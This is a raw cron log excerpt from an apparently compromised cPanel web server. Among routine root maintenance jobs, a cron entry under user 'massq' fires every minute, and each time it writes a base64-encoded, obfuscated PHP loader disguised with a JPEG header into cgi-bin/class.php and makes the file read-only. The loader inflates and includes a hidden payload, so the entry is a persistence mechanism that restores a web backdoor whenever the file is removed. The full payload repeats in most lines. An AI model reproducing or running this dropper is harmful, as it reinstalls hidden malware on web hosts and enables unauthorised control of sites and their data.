Nov 11 17:27:01 server CROND[544]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:27:01 server CROND[545]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 17:28:01 server CROND[1373]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:29:01 server CROND[2193]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:30:01 server CROND[2857]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 17:30:01 server CROND[2858]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:30:01 server CROND[2859]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:30:01 server CROND[2860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:31:01 server CROND[3830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:32:01 server CROND[4635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:33:01 server CROND[5449]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:34:01 server CROND[6270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:35:01 server CROND[7096]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 17:35:01 server CROND[7098]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 17:35:01 server CROND[7099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:35:01 server CROND[7101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:35:01 server CROND[7102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:36:01 server CROND[8011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:37:01 server CROND[8350]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:38:01 server CROND[9128]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:39:01 server CROND[9951]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 17:39:01 server CROND[9950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:40:01 server CROND[10787]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 17:40:01 server CROND[10789]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:40:01 server CROND[10790]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
